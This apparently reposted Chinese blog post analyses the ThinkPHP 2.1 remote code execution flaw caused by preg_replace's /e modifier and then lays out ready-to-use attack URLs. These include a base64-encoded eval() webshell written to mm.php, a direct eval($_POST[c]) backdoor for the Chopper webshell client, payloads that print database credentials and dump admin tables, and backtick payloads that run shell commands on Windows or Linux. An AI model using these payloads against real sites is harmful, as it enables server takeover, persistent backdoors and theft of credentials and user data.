• Thinkphp2.1爆出重大安全漏洞


    thinkphp 2.1的版本
     
    我们来分析下漏洞
     
    官方发布了一个安全补丁
     
    表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。
     
    官方的补丁:
     
    /trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
     
     
     
    125 –$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['1']=”2″;’, implode($depr,$paths));
    125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['1']=’2′;’, implode($depr,$paths));
     
     
     
    这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。
    然而在用正则解析pathinfo的时候,主要是这一句:
     
     
     
    $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['1']=”2″;’, implode($depr,$paths));
     
     
     
    这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。
     
    ‘$var['1']=”2″;’
     
    而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:
     
    index.php/module/action/param1/${@print(THINK_VERSION)}
     
    执行效果如下:


     

    就是说
     
    print( )里面可以执行我们的任意代码
     
    如phpinfo()等其他函数
     
    那就行了
     
    我们可以直接利用
     
    fputs和fopen函数直接写木马出来了
     
    构造语句
     
    fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”))
     
    base64_decode(“bW0ucGhw”)解码后是mm.php
     
    base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)解码后是<?eval($_POST[c]);?>
     
    只要执行了 就能在该目录下生成一个mm.php的一句话木马文件
     
    但是操作的时候出现了问题

    经分析 是双引号被转义了
     
    然后我试了其他几种不用双引号写马的代码
     
    都失败了  原因是  <>  尖括号等都被转义了   而用
     
    exec()等系统命令执行函数写马的话是写不出的
     
    网上的利用方法貌似很少  只有神刀网的那个用echo写马的方法
     
    但是前提是双引号没有被转义掉才能成功
     
    怎么办呢
     
    这个时候不要太拘泥于这里了
     
    一个中国人搞安全怎么能忘记中国人写的软件菜刀了
     
    直接构造代码
     
     
     
    http://www.2cto.com /project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}
     
     
     
    菜刀里面直接填这个路径 密码C  就能连接了

    根本不用拘泥于写马的问题!

    ps:

    1.使用THINK_VERSION可以获取Thinkphp的版本号

    如:/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

    2.使用C方法,获取数据库配置相关信息:C(DB_NAME)、C(DB_HOST)、C(DB_USER)、C(DB_PWD)

    如: /index.php/module/action/param1/$%7B@print(C(db_name))%7D

    3.使用D方法或者M方法,查询数据库,最典型的使用方式var_dump(D(Admin)->select()),能够查询出管理员信息,当然,表名需要猜一下,一般是admin,user等。

    如:/index.php/module/action/param1/$%7B@print(var_dump(D(Admin)->select()))%7D

    4.利用PHP在“·”(Tab键上面的键,URL编码后为%60)之间的内容可以当做命令执行的方式,不管是windows还是Linux下,都可以执行cmd或者是Shell命令。

    如:

    index.php/module/action/param1/$%7B@print(%60dirls%60)%7D  ---------- 在windows下

    index.php/module/action/param1/$%7B@print(%60ls%60)%7D -------------在linux下

    可以获取目录内容。

  • 相关阅读:
    Grove.net实践ORM学习笔记
    COM+的事务
    Delphi中MIDAS线程模型
    Delphi中封装ADO之我重学习记录。。。
    100 多个JaveScript 常用函数
    javascript 事件
    js 收藏
    js 常用函数
    表单11种Input的高级用法
    UltraEdit 使用技巧
  • 原文地址:https://www.cnblogs.com/milantgh/p/3639178.html
Copyright © 2020-2023  润新知